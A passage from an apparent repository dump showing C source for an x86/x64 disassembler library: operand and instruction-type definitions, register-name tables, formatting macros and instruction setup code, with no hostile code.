+ // ITYPE_SYSTEM group
+ ITYPE_SYSTEM=ITYPE_SYSTEM_OFFSET,
+ ITYPE_HALT, // halt machine
+ ITYPE_IN, // input form port
+ ITYPE_OUT, // output to port
+ ITYPE_CPUID, // identify cpu
+ ITYPE_SETIF, // allow interrupts
+ ITYPE_CLEARIF, // block interrupts
+ ITYPE_SYSCALL,
+ ITYPE_SYSCALLRET,
+
+ // ITYPE_OTHER group
+ ITYPE_OTHER = ITYPE_OTHER_OFFSET,
+ ITYPE_NOP,
+ ITYPE_BCDCONV, // convert to/from BCD
+ ITYPE_SZCONV // convert size of operand
+} INSTRUCTION_TYPE;
+
+//
+// Operand flags
+//
+
+// Type = bits 0-6 (these are mutually exclusive -- bits 0-6 will always be a power of 2))
+#define OPTYPE_NONE 0x00
+#define OPTYPE_IMM 0x01 // immediate value
+#define OPTYPE_OFFSET 0x02 // relative offset
+#define OPTYPE_FLOAT 0x03 // floating point
+#define OPTYPE_BCD 0x04
+#define OPTYPE_STRING 0x05
+#define OPTYPE_SPECIAL 0x06
+#define OPTYPE_MASK 0x7F
+
+// Flags = bits 7-23 (these can be combinations)
+// These are used in the X86 opcode table
+#define OP_REG (1<<7) // 0x80
+#define OP_SIGNED (1<<8)
+#define OP_SYS (1<<9) // parameter is an index into some system structure
+#define OP_CONDR (1<<10)
+#define OP_CONDW (1<<11)
+#define OP_UNUSED (1<<12)
+#define OP_SRC (1<<13) // operand is source operand
+#define OP_DST (1<<14) // operand is destination operand
+#define OP_EXEC (1<<15) // operand is executed
+
+#define OP_CONDE OP_CONDR
+#define OP_COND_EXEC (OP_CONDE|OP_EXEC) // executed only if the pre-conditions are met
+#define OP_COND_SRC (OP_CONDR|OP_SRC) // set only if pre-conditions are met
+#define OP_COND_DST (OP_CONDW|OP_DST) // set only if pre-conditions are met
+#define OP_COND (OP_CONDR|OP_CONDW)
+
+// Bits 16-31 are available for use outside of the opcode table, but they can only
+// be used in INSTRUCTION_OPERAND.Flags, they may conflit with the architecture specific
+// operands. For example, bits 16-31 are used in X86 for AMODE_* and OPTYPE_*
+#define OP_ADDRESS (1<<16)
+#define OP_LOCAL (1<<17)
+#define OP_PARAM (1<<18)
+#define OP_GLOBAL (1<<19)
+#define OP_FAR (1<<20)
+#define OP_IPREL (1<<21)
+
+//
+// X86-specific flags (bits 27-31)
+//
+#define OP_MSR (OP_SYS|OP_UNUSED)
+
+//
+// Other architecture flags
+//
+#define OP_DELAY OP_UNUSED // delayed instruction (e.g., delayed branch that executes after the next instruction)
+
+/////////////////////////////////////////////////////////////////////
+// Architectures
+/////////////////////////////////////////////////////////////////////
+
+typedef enum _ARCHITECTURE_TYPE
+{
+ ARCH_UNKNOWN=0,
+
+ // x86-based
+ ARCH_X86, // 32-bit x86
+ ARCH_X86_16, // 16-bit x86
+ ARCH_X64, // AMD64 and Intel EMD64
+
+ // everything else
+ ARCH_ALPHA,
+ ARCH_ARM,
+ ARCH_DOTNET,
+ ARCH_EFI,
+ ARCH_IA64,
+ ARCH_M68K,
+ ARCH_MIPS,
+ ARCH_PPC,
+ ARCH_SH3,
+ ARCH_SH4,
+ ARCH_SPARC,
+ ARCH_THUMB
+
+} ARCHITECTURE_TYPE;
+
+typedef BOOL (*INIT_INSTRUCTION)(struct _INSTRUCTION *Instruction);
+typedef void (*DUMP_INSTRUCTION)(struct _INSTRUCTION *Instruction, BOOL ShowBytes, BOOL Verbose);
+typedef BOOL (*GET_INSTRUCTION)(struct _INSTRUCTION *Instruction, U8 *Address, U32 Flags);
+typedef U8 *(*FIND_FUNCTION_BY_PROLOGUE)(struct _INSTRUCTION *Instruction, U8 *StartAddress, U8 *EndAddress, U32 Flags);
+
+typedef struct _ARCHITECTURE_FORMAT_FUNCTIONS
+{
+ INIT_INSTRUCTION InitInstruction;
+ DUMP_INSTRUCTION DumpInstruction;
+ GET_INSTRUCTION GetInstruction;
+ FIND_FUNCTION_BY_PROLOGUE FindFunctionByPrologue;
+} ARCHITECTURE_FORMAT_FUNCTIONS;
+
+typedef struct _ARCHITECTURE_FORMAT
+{
+ ARCHITECTURE_TYPE Type;
+ ARCHITECTURE_FORMAT_FUNCTIONS *Functions;
+} ARCHITECTURE_FORMAT;
+
+#define DISASSEMBLER_INITIALIZED 0x1234566F
+#define INSTRUCTION_INITIALIZED 0x1234567F
+
+#include "disasm_x86.h"
+
+typedef struct DECLSPEC_ALIGN(16) _S128
+{
+ U64 Low;
+ S64 High;
+} S128;
+typedef struct DECLSPEC_ALIGN(16) _U128
+{
+ U64 Low;
+ U64 High;
+} U128;
+
+typedef struct _INSTRUCTION_OPERAND
+{
+ U32 Flags;
+ U8 Type : 6;
+ U8 Unused : 2;
+ U16 Length;
+
+
+ // If non-NULL, this indicates the target address of the instruction (e.g., a branch or
+ // a displacement with no base register). However, this address is only reliable if the
+ // image is mapped correctly (e.g., the executable is mapped as an image and fixups have
+ // been applied if it is not at its preferred image base).
+ //
+ // If disassembling a 16-bit DOS application, TargetAddress is in the context of
+ // X86Instruction->Segment. For example, if TargetAddress is the address of a code branch,
+ // it is in the CS segment (unless X86Instruction->HasSegmentOverridePrefix is set). If
+ // TargetAddress is a data pointer, it is in the DS segment (unless
+ // X86Instruction->HasSegmentOverridePrefix is set)
+ U64 TargetAddress;
+ U32 Register;
+
+ union
+ {
+ // All 8/16/32-bit operands are extended to 64-bits automatically
+ // If you want to downcast, check whether Flags & OP_SIGNED is set
+ // Like this:
+ // U32 GetOperand32(OPERAND *Operand)
+ // {
+ // if (Operand->Flags & OP_SIGNED) return (S32)Operand->Value_S64;
+ // else return (U32)Operand->Value_U64;
+ //}
+ U64 Value_U64;
+ S64 Value_S64;
+ U128 Value_U128;
+ U128 Float128;
+ U8 Float80[80];
+ U8 BCD[10];
+ };
+} INSTRUCTION_OPERAND;
+
+typedef struct _INSTRUCTION
+{
+ U32 Initialized;
+ struct _DISASSEMBLER *Disassembler;
+
+ char String[MAX_OPCODE_DESCRIPTION];
+ U8 StringIndex;
+ U64 VirtualAddressDelta;
+
+ U32 Groups; // ITYPE_EXEC, ITYPE_ARITH, etc. -- NOTE groups can be OR'd together
+ INSTRUCTION_TYPE Type; // ITYPE_ADD, ITYPE_RET, etc. -- NOTE there is only one possible type
+
+ U8 *Address;
+ U8 *OpcodeAddress;
+ U32 Length;
+
+ U8 Prefixes[MAX_PREFIX_LENGTH];
+ U32 PrefixCount;
+
+ U8 LastOpcode; // last byte of opcode
+ U8 OpcodeBytes[MAX_OPCODE_LENGTH];
+ U32 OpcodeLength; // excludes any operands and prefixes
+
+ INSTRUCTION_OPERAND Operands[MAX_OPERAND_COUNT];
+ U32 OperandCount;
+
+ X86_INSTRUCTION X86;
+
+ DATA_REFERENCE DataSrc;
+ DATA_REFERENCE DataDst;
+ CODE_BRANCH CodeBranch;
+
+ // Direction depends on which direction the stack grows
+ // For example, on x86 a push results in StackChange < 0 since the stack grows down
+ // This is only relevant if (Group & ITYPE_STACK) is true
+ //
+ // If Groups & ITYPE_STACK is set but StackChange = 0, it means that the change
+ // couldn't be determined (non-constant)
+ LONG StackChange;
+
+ // Used to assist in debugging
+ // If set, the current instruction is doing something that requires special handling
+ // For example, popf can cause tracing to be disabled
+
+ U8 StringAligned : 1; // internal only
+ U8 NeedsEmulation : 1; // instruction does something that re
+ U8 Repeat : 1; // instruction repeats until some condition is met (e.g., REP prefix on X86)
+ U8 ErrorOccurred : 1; // set if instruction is invalid
+ U8 AnomalyOccurred : 1; // set if instruction is anomalous
+ U8 LastInstruction : 1; // tells the iterator callback it is the last instruction
+ U8 CodeBlockFirst: 1;
+ U8 CodeBlockLast : 1;
+} INSTRUCTION;
+
+typedef struct _DISASSEMBLER
+{
+ U32 Initialized;
+ ARCHITECTURE_TYPE ArchType;
+ ARCHITECTURE_FORMAT_FUNCTIONS *Functions;
+ INSTRUCTION Instruction;
+ U32 Stage1Count; // GetInstruction called
+ U32 Stage2Count; // Opcode fully decoded
+ U32 Stage3CountNoDecode; // made it through all checks when DISASM_DECODE is not set
+ U32 Stage3CountWithDecode; // made it through all checks when DISASM_DECODE is set
+} DISASSEMBLER;
+
+#define DISASM_DISASSEMBLE (1<<1)
+#define DISASM_DECODE (1<<2)
+#define DISASM_SUPPRESSERRORS (1<<3)
+#define DISASM_SHOWFLAGS (1<<4)
+#define DISASM_ALIGNOUTPUT (1<<5)
+#define DISASM_DISASSEMBLE_MASK (DISASM_ALIGNOUTPUT|DISASM_SHOWBYTES|DISASM_DISASSEMBLE)
+
+BOOL InitDisassembler(DISASSEMBLER *Disassembler, ARCHITECTURE_TYPE Architecture);
+void CloseDisassembler(DISASSEMBLER *Disassembler);
+INSTRUCTION *GetInstruction(DISASSEMBLER *Disassembler, U64 VirtualAddress, U8 *Address, U32 Flags);
+
+#ifdef __cplusplus
+}
+#endif
+#endif // DISASM_H
+
+```
+
+`EasyHandlesDLL/disasm-lib/disasm_x86.c`:
+
+```c
+// Copyright (C) 2004, Matt Conover (mconover@gmail.com)
+#undef NDEBUG
+#include
+#include "disasm.h"
+#include "cpu.h"
+
+// Since addresses are internally represented as 64-bit, we need to specially handle
+// cases where IP + Displacement wraps around for 16-bit/32-bit operand size
+// Otherwise, ignorethe possibility of wraparounds
+#define SUPPORT_WRAPAROUND
+
+#ifdef NO_SANITY_CHECKS
+#undef NDEBUG
+#undef DEBUG_DISASM
+#undef assert
+#define assert(x)
+#endif
+
+#ifdef DEBUG_DISASM
+#define DISASM_OUTPUT(x) printf x
+#else
+#define DISASM_OUTPUT(x)
+#endif
+
+#include "disasm_x86_tables.h"
+
+#ifdef _WIN64
+#pragma warning(disable:4311 4312)
+#endif
+
+////////////////////////////////////////////////////////////////////////
+// Internal macros
+////////////////////////////////////////////////////////////////////////
+
+#define VIRTUAL_ADDRESS ((U64)Instruction->Address + Instruction->VirtualAddressDelta)
+
+#define AMD64_DIFF (AMD64_8BIT_OFFSET-X86_8BIT_OFFSET)
+#define IS_AMD64() (INS_ARCH_TYPE(Instruction) == ARCH_X64)
+#define IS_X86_32() (INS_ARCH_TYPE(Instruction) == ARCH_X86)
+#define IS_X86_16() (INS_ARCH_TYPE(Instruction) == ARCH_X86_16)
+
+#define X86_BOUND 0x62
+#define X86_PUSH_REG 0x50
+#define X86_PUSH_CS 0x0e
+#define X86_PUSH_DS 0x1e
+#define X86_PUSH_SS 0x16
+#define X86_PUSH_ES 0x06
+#define X86_PUSH_FS 0xa0
+#define X86_PUSH_GS 0xa8
+#define X86_PUSH_U8 0x6a
+#define X86_PUSH_U32 0x68
+#define X86_POP_DS 0x1f
+#define X86_POP_ES 0x07
+#define X86_POP_SS 0x17
+#define X86_POP_FS 0xa1
+#define X86_POP_GS 0xa9
+#define X86_POP_REG 0x58
+
+#define OPCSTR Instruction->String+Instruction->StringIndex
+#define APPEND Instruction->StringIndex += (U8)_snprintf
+#define APPENDPAD(x) \
+{ \
+ if (Instruction->StringAligned) \
+ { \
+ if (Instruction->StringIndex > x) assert(0); \
+ while (x != Instruction->StringIndex) APPENDB(' '); \
+ } \
+ else if (Instruction->StringIndex) \
+ { \
+ APPENDB(' '); \
+ } \
+}
+
+#define APPENDB(a) Instruction->String[Instruction->StringIndex++] = a
+#define APPENDS(a) APPEND(OPCSTR, SIZE_LEFT, a);
+
+#define SIZE_LEFT (MAX_OPCODE_DESCRIPTION-1 > Instruction->StringIndex ? MAX_OPCODE_DESCRIPTION-Instruction->StringIndex : 0)
+
+// If an address size prefix is used for an instruction that doesn't make sense, restore it
+// to the default
+
+#define SANITY_CHECK_OPERAND_SIZE() \
+{ \
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasOperandSizePrefix) \
+ { \
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Unexpected operand size prefix\n", VIRTUAL_ADDRESS); \
+ Instruction->AnomalyOccurred = TRUE; \
+ X86Instruction->HasOperandSizePrefix = FALSE; \
+ switch (X86Instruction->OperandSize) \
+ { \
+ case 4: X86Instruction->OperandSize = 2; break; \
+ case 2: X86Instruction->OperandSize = 4; break; \
+ default: assert(0); \
+ } \
+ } \
+}
+
+#define SANITY_CHECK_ADDRESS_SIZE() \
+{ \
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasAddressSizePrefix) \
+ { \
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Unexpected address size prefix\n", VIRTUAL_ADDRESS); \
+ Instruction->AnomalyOccurred = TRUE; \
+ } \
+ X86Instruction->HasAddressSizePrefix = FALSE; \
+ switch (INS_ARCH_TYPE(Instruction)) \
+ { \
+ case ARCH_X64: X86Instruction->AddressSize = 8; break; \
+ case ARCH_X86: X86Instruction->AddressSize = 4; break; \
+ case ARCH_X86_16: X86Instruction->AddressSize = 2; break; \
+ } \
+}
+
+#define SANITY_CHECK_SEGMENT_OVERRIDE() \
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasSegmentOverridePrefix) \
+ { \
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Unexpected segment override\n", VIRTUAL_ADDRESS); \
+ Instruction->AnomalyOccurred = TRUE; \
+ }
+
+#define INSTR_INC(size) \
+{ \
+ Instruction->Length += size; \
+ Address += size; \
+}
+
+#define X86_SET_TARGET() \
+{ \
+ if (X86Instruction->HasSelector) \
+ { \
+ if (!Instruction->AnomalyOccurred) \
+ { \
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: unexpected segment 0x%02X\n", VIRTUAL_ADDRESS, X86Instruction->Selector); \
+ Instruction->AnomalyOccurred = TRUE; \
+ } \
+ } \
+ else \
+ { \
+ switch (X86Instruction->Segment) \
+ { \
+ case SEG_CS: \
+ case SEG_DS: \
+ case SEG_SS: \
+ case SEG_ES: \
+ assert(!X86Instruction->HasSelector); \
+ Operand->TargetAddress = (U64)X86Instruction->Displacement; \
+ /* assert(!GetAbsoluteAddressFromSegment((BYTE)X86Instruction->Segment, (DWORD)X86Instruction->Displacement) || GetAbsoluteAddressFromSegment(X86Instruction->Segment, (DWORD)X86Instruction->Displacement) == Operand->TargetAddress); */ \
+ break; \
+ case SEG_FS: \
+ case SEG_GS: \
+ assert(!X86Instruction->HasSelector); \
+ Operand->TargetAddress = (U64)GetAbsoluteAddressFromSegment((BYTE)X86Instruction->Segment, (DWORD)X86Instruction->Displacement); \
+ break; \
+ default: \
+ assert(0); /* shouldn't be possible */ \
+ break; \
+ } \
+ } \
+}
+
+#define X86_SET_SEG(reg) \
+{ \
+ if (!X86Instruction->HasSegmentOverridePrefix && (reg == REG_EBP || reg == REG_ESP)) \
+ { \
+ assert(!X86Instruction->HasSelector); \
+ X86Instruction->Segment = SEG_SS; \
+ } \
+}
+
+#define X86_SET_ADDR() \
+{ \
+ if (Operand->Flags & OP_DST) \
+ { \
+ assert(!X86Instruction->HasDstAddressing); \
+ X86Instruction->HasDstAddressing = TRUE; \
+ X86Instruction->DstOpIndex[X86Instruction->DstOpCount] = (U8)OperandIndex; \
+ X86Instruction->DstOpCount++; \
+ X86Instruction->DstAddressIndex = (U8)OperandIndex; \
+ } \
+ if (Operand->Flags & OP_SRC) \
+ { \
+ if (Instruction->Type != ITYPE_STRCMP) assert(!X86Instruction->HasSrcAddressing); \
+ X86Instruction->HasSrcAddressing = TRUE; \
+ X86Instruction->SrcOpIndex[X86Instruction->SrcOpCount] = (U8)OperandIndex; \
+ X86Instruction->SrcOpCount++; \
+ X86Instruction->SrcAddressIndex = (U8)OperandIndex; \
+ } \
+}
+
+#define X86_SET_REG(reg) \
+{ \
+ if (Operand->Flags & OP_DST) \
+ { \
+ X86Instruction->DstOpIndex[X86Instruction->DstOpCount] = (U8)OperandIndex; \
+ X86Instruction->DstOpCount++; \
+ assert(OperandIndex < 2); \
+ if (Operand->Length > 1 && reg == REG_ESP) Instruction->Groups |= ITYPE_STACK; \
+ } \
+ if (Operand->Flags & OP_SRC) \
+ { \
+ X86Instruction->SrcOpIndex[X86Instruction->SrcOpCount] = (U8)OperandIndex; \
+ X86Instruction->SrcOpCount++; \
+ } \
+}
+
+#define CHECK_AMD64_REG() { if (IS_AMD64()) Operand->Register += AMD64_DIFF; }
+
+////////////////////////////////////////////////////////////////////////
+// Internal structures/variables
+////////////////////////////////////////////////////////////////////////
+
+ARCHITECTURE_FORMAT_FUNCTIONS X86 =
+{
+ X86_InitInstruction,
+ NULL,
+ X86_GetInstruction,
+ X86_FindFunctionByPrologue
+};
+
+char *X86_Registers[0xE0] =
+{
+ // Segments
+ "es", // 0x00
+ "cs", // 0x01
+ "ss", // 0x02
+ "ds", // 0x03
+ "fs", // 0x04
+ "gs", // 0x05
+ "flags", // 0x06
+ "eflags", // 0x07
+ "rflags", // 0x08
+ "ip+ilen", // 0x09
+ "eip+ilen", // 0x0A
+ "rip+ilen", // 0x0B
+ NULL, // 0x0C
+ NULL, // 0x0D
+ NULL, // 0x0E
+ NULL, // 0x0F
+
+ // Test
+ "tr0", // 0x10
+ "tr1", // 0x11
+ "tr2", // 0x12
+ "tr3", // 0x13
+ "tr4", // 0x14
+ "tr5", // 0x15
+ "tr6", // 0x16
+ "tr7", // 0x17
+ "tr8", // 0x18
+ "tr9", // 0x19
+ "tr10", // 0x1A
+ "tr11", // 0x1B
+ "tr12", // 0x1C
+ "tr13", // 0x1D
+ "tr14", // 0x1E
+ "tr15", // 0x1F
+
+ // Control
+ "cr0", // 0x20
+ "cr1", // 0x21
+ "cr2", // 0x22
+ "cr3", // 0x23
+ "cr4", // 0x24
+ "cr5", // 0x25
+ "cr6", // 0x26
+ "cr7", // 0x27
+ "cr8", // 0x18
+ "cr9", // 0x19
+ "cr10", // 0x1A
+ "cr11", // 0x1B
+ "cr12", // 0x1C
+ "cr13", // 0x1D
+ "cr14", // 0x1E
+ "cr15", // 0x1F
+
+ // Debug
+ "dr0", // 0x30
+ "dr1", // 0x31
+ "dr2", // 0x32
+ "dr3", // 0x33
+ "dr4", // 0x34
+ "dr5", // 0x35
+ "dr6", // 0x36
+ "dr7", // 0x37
+ "dr8", // 0x38
+ "dr9", // 0x39
+ "dr10", // 0x3A
+ "dr11", // 0x3B
+ "dr12", // 0x3C
+ "dr13", // 0x3D
+ "dr14", // 0x3E
+ "dr15", // 0x3F
+
+ // FPU
+ "st(0)", // 0x40
+ "st(1)", // 0x41
+ "st(2)", // 0x42
+ "st(3)", // 0x43
+ "st(4)", // 0x44
+ "st(5)", // 0x45
+ "st(6)", // 0x46
+ "st(7)", // 0x47
+ NULL, // 0x48
+ NULL, // 0x49
+ NULL, // 0x4A
+ NULL, // 0x4B
+ NULL, // 0x4C
+ NULL, // 0x4D
+ NULL, // 0x4E
+ NULL, // 0x4F
+
+ // MMX
+ "mm0", // 0x50
+ "mm1", //
+ "mm2",
+ "mm3",
+ "mm4",
+ "mm5",
+ "mm6",
+ "mm7",
+ NULL, // 0x58
+ NULL, // 0x59
+ NULL, // 0x5A
+ NULL, // 0x5B
+ NULL, // 0x5C
+ NULL, // 0x5D
+ NULL, // 0x5E
+ NULL, // 0x5F
+
+ // XMM
+ "xmm0", // 0x60
+ "xmm1", // 0x61
+ "xmm2", // 0x62
+ "xmm3", // 0x63
+ "xmm4", // 0x64
+ "xmm5", // 0x65
+ "xmm6", // 0x66
+ "xmm7", // 0x67
+ "xmm8", // 0x68
+ "xmm9", // 0x69
+ "xmm10", // 0x6a
+ "xmm11", // 0x6b
+ "xmm12", // 0x6c
+ "xmm13", // 0x6d
+ "xmm14", // 0x6e
+ "xmm15", // 0x6f
+
+ // 8-bit
+ "al", // 0x70
+ "cl", // 0x71
+ "dl", // 0x72
+ "bl", // 0x73
+ "ah", // 0x74
+ "ch", // 0x75
+ "dh", // 0x76
+ "bh", // 0x77
+ NULL, // 0x78
+ NULL, // 0x79
+ NULL, // 0x7A
+ NULL, // 0x7B
+ NULL, // 0x7C
+ NULL, // 0x7D
+ NULL, // 0x7E
+ NULL, // 0x7F
+
+ // 16-bit
+ "ax", // 0x80
+ "cx", // 0x81
+ "dx", // 0x82
+ "bx", // 0x83
+ "sp", // 0x84
+ "bp", // 0x85
+ "si", // 0x86
+ "di", // 0x87
+ NULL, // 0x88
+ NULL, // 0x89
+ NULL, // 0x8A
+ NULL, // 0x8B
+ NULL, // 0x8C
+ NULL, // 0x8D
+ NULL, // 0x8E
+ NULL, // 0x8F
+
+ // 32-bit
+ "eax", // 0x90
+ "ecx", // 0x91
+ "edx", // 0x92
+ "ebx", // 0x93
+ "esp", // 0x94
+ "ebp", // 0x95
+ "esi", // 0x96
+ "edi", // 0x97
+ NULL, // 0x98
+ NULL, // 0x99
+ NULL, // 0x9A
+ NULL, // 0x9B
+ NULL, // 0x9C
+ NULL, // 0x9D
+ NULL, // 0x9E
+ NULL, // 0x9F
+
+ // X86-64 8-bit register
+ "al", // 0xA0
+ "cl", // 0xA1
+ "dl", // 0xA2
+ "bl", // 0xA3
+ "spl", // 0xA4
+ "bpl", // 0xA5
+ "sil", // 0xA6
+ "dil", // 0xA7
+ "r8b", // 0xA8
+ "r9b", // 0xA9
+ "r10b", // 0xAA
+ "r11b", // 0xAB
+ "r12b", // 0xAC
+ "r13b", // 0xAD
+ "r14b", // 0xAE
+ "r15b", // 0xAF
+
+ // X86-64 16-bit register
+ "ax", // 0xB0
+ "cx", // 0xB1
+ "dx", // 0xB2
+ "bx", // 0xB3
+ "sp", // 0xB4
+ "bp", // 0xB5
+ "si", // 0xB6
+ "di", // 0xB7
+ "r8w", // 0xB8
+ "r9w", // 0xB9
+ "r10w", // 0xBA
+ "r11w", // 0xBB
+ "r12w", // 0xBC
+ "r13w", // 0xBD
+ "r14w", // 0xBE
+ "r15w", // 0xBF
+
+ // X86-64 32-bit register
+ "eax", // 0xC0
+ "ecx", // 0xC1
+ "edx", // 0xC2
+ "ebx", // 0xC3
+ "esp", // 0xC4
+ "ebp", // 0xC5
+ "esi", // 0xC6
+ "edi", // 0xC7
+ "r8d", // 0xC8
+ "r9d", // 0xC9
+ "r10d", // 0xCA
+ "r11d", // 0xCB
+ "r12d", // 0xCC
+ "r13d", // 0xCD
+ "r14d", // 0xCE
+ "r15d", // 0xCF
+
+ // X86-64 64-bit register
+ "rax", // 0xD0
+ "rcx", // 0xD1
+ "rdx", // 0xD2
+ "rbx", // 0xD3
+ "rsp", // 0xD4
+ "rbp", // 0xD5
+ "rsi", // 0xD6
+ "rdi", // 0xD7
+ "r8", // 0xD8
+ "r9", // 0xD9
+ "r10", // 0xDA
+ "r11", // 0xDB
+ "r12", // 0xDC
+ "r13", // 0xDD
+ "r14", // 0xDE
+ "r15" // 0xDF
+};
+
+void OutputBounds(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputGeneral(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputDescriptor(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputSegOffset(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputPackedReal(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputPackedBCD(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputScalarReal(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputScalarGeneral(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputFPUEnvironment(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputFPUState(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+void OutputCPUState(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+
+typedef void (*OUTPUT_OPTYPE)(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex);
+#define OPTYPE_SHIFT 24
+#define MAX_OPTYPE_INDEX 26
+OUTPUT_OPTYPE OptypeHandlers[] =
+{
+ NULL,
+ OutputBounds, // 01 OPTYPE_a
+ OutputGeneral, // 02 OPTYPE_b
+ OutputGeneral, // 03 OPTYPE_d
+ OutputSegOffset, // 04 OPTYPE_p
+ OutputGeneral, // 05 OPTYPE_q
+ OutputDescriptor, // 06 OPTYPE_dt
+ OutputGeneral, // 07 OPTYPE_v
+ OutputGeneral, // 08 OPTYPE_w
+ OutputPackedReal, // 09 OPTYPE_ps
+ OutputPackedReal, // 0A OPTYPE_pd
+ OutputPackedBCD, // 0B OPTYPE_pb
+ OutputScalarReal, // 0C OPTYPE_ss
+ OutputScalarReal, // 0D OPTYPE_sd
+ OutputScalarReal, // 0E OPTYPE_se
+ OutputFPUEnvironment, // 0F OPTYPE_fev
+ OutputFPUState, // 10 OPTYPE_fst1
+ OutputFPUState, // 11 OPTYPE_fst2
+ OutputGeneral, // 12 OPTYPE_z
+ OutputGeneral, // 13 OPTYPE_o
+ OutputGeneral, // 14 OPTYPE_dq
+ OutputGeneral, // 15 OPTYPE_mw
+ OutputScalarGeneral, // 16 OPTYPE_sso
+ OutputScalarGeneral, // 17 OPTYPE_sdo
+ OutputCPUState, // 18 OPTYPE_cpu
+ OutputGeneral, // 19 OPTYPE_lea
+};
+
+#define OPTYPE_a 0x01000000
+#define OPTYPE_b 0x02000000
+#define OPTYPE_d 0x03000000
+#define OPTYPE_p 0x04000000
+#define OPTYPE_q 0x05000000
+#define OPTYPE_dt 0x06000000
+#define OPTYPE_v 0x07000000
+#define OPTYPE_w 0x08000000
+#define OPTYPE_ps 0x09000000 // packed 128-bit single real
+#define OPTYPE_pd 0x0A000000 // packed 128-bit double real
+#define OPTYPE_pb 0x0B000000 // packed BCD (10 bytes, 18-bit precision)
+#define OPTYPE_ss 0x0C000000 // scalar single real
+#define OPTYPE_sd 0x0D000000 // scalar double real
+#define OPTYPE_se 0x0E000000 // scalar extended real
+#define OPTYPE_fev 0x0F000000 // FPU environment (28 bytes if 32-bit modes, 14 bytes in 16-bit mode)
+#define OPTYPE_fst1 0x10000000 // FPU state (108 bytes in 32-bit modes, 94 bytes in 16-bit real mode)
+#define OPTYPE_fst2 0x11000000 // FPU/MMX/XMM/MXCSR state (512 bytes)
+#define OPTYPE_z 0x12000000
+#define OPTYPE_o 0x13000000
+#define OPTYPE_dq 0x14000000 // OPTYPE_d or OPTYPE_o
+#define OPTYPE_mw 0x15000000 // word if memory, register size otherwise
+#define OPTYPE_sso 0x16000000 // OPTYPE_ss or OPTYPE_o
+#define OPTYPE_sdo 0x17000000 // OPTYPE_ss or OPTYPE_o
+#define OPTYPE_cpu 0x18000000 // pointer to CPU state structure
+#define OPTYPE_lea 0x19000000 // size set by other operand
+
+////////////////////////////////////////////////////////////////////////
+// Internal functions
+////////////////////////////////////////////////////////////////////////
+
+#ifdef TEST_DISASM // TODO: remove
+U32 X86_GetLength(INSTRUCTION *Instruction, U8 *Address);
+#endif
+
+INTERNAL BOOL IsValidLockPrefix(X86_INSTRUCTION *Instruction, U8 Opcode, U32 OpcodeLength, U8 Group, U8 OpcodeExtension);
+INTERNAL U8 *SetOperands(INSTRUCTION *Instruction, U8 *Address, U32 Flags);
+INTERNAL U8 *SetModRM32(INSTRUCTION *Instruction, U8 *Address, INSTRUCTION_OPERAND *Operand, U32 OperandIndex, BOOL SuppressErrors);
+INTERNAL U8 *SetModRM16(INSTRUCTION *Instruction, U8 *Address, INSTRUCTION_OPERAND *Operand, U32 OperandIndex, BOOL SuppressErrors);
+INTERNAL U8 *SetSIB(INSTRUCTION *Instruction, U8 *Address, INSTRUCTION_OPERAND *Operand, U32 OperandIndex, BOOL SuppressErrors);
+INTERNAL U64 ApplyDisplacement(U64 Address, INSTRUCTION *Instruction);
+
+//////////////////////////////////////////////////////////
+// Instruction setup
+//////////////////////////////////////////////////////////
+
+#define APPLY_OFFSET(addr) \
+{ \
+ switch (X86Instruction->OperandSize) \
+ { \
+ case 8: addr = ((U64)(addr + Instruction->VirtualAddressDelta)); break; \
+ case 4: addr = (U64)((U32)(addr + Instruction->VirtualAddressDelta)); break; \
+ case 2: addr = (U64)((U8)(addr + Instruction->VirtualAddressDelta)); break; \
+ default: assert(0); break; \
+ } \
+}
+
+BOOL X86_InitInstruction(INSTRUCTION *Instruction)
+{
+ X86_INSTRUCTION *X86Instruction;
+#ifdef NO_SANITY_CHECKS
+ assert(0); // be sure assertions are disabled
+#endif
+ X86Instruction = &Instruction->X86;
+ memset(X86Instruction, 0, sizeof(X86_INSTRUCTION));
+
+ switch (INS_ARCH_TYPE(Instruction))
+ {
+ case ARCH_X64:
+ X86Instruction->AddressSize = 8;
+ X86Instruction->OperandSize = 4;
+ break;
+ case ARCH_X86:
+ X86Instruction->AddressSize = 4;
+ X86Instruction->OperandSize = 4;
+ break;
+ case ARCH_X86_16:
+ X86Instruction->AddressSize = 2;
+ X86Instruction->OperandSize = 2;
+ break;
+ default:
+ assert(0);
+ return FALSE;
+ }
+ X86Instruction->Instruction = Instruction;
+ X86Instruction->Segment = SEG_DS;
+ return TRUE;
+}
+
+////////////////////////////////////////////////////////////
+// Formatting
+// You can change these to whatever you prefer
+////////////////////////////////////////////////////////////
+
+#define X86_WRITE_OPFLAGS() \
+ if (Flags & DISASM_SHOWFLAGS) \
+ { \
+ APPENDB('{'); \
+ assert(Operand->Flags & (OP_EXEC|OP_SRC|OP_DST)); \
+ if (Operand->Flags & OP_IPREL) APPENDB('r'); \
+ if (Operand->Flags & OP_FAR) APPENDB('f'); \
+ if (Operand->Flags & OP_CONDR) APPENDB('c'); \
+ if (Operand->Flags & OP_EXEC) APPENDB('X'); \
+ else if (Operand->Flags & OP_SRC) APPENDB('R'); \
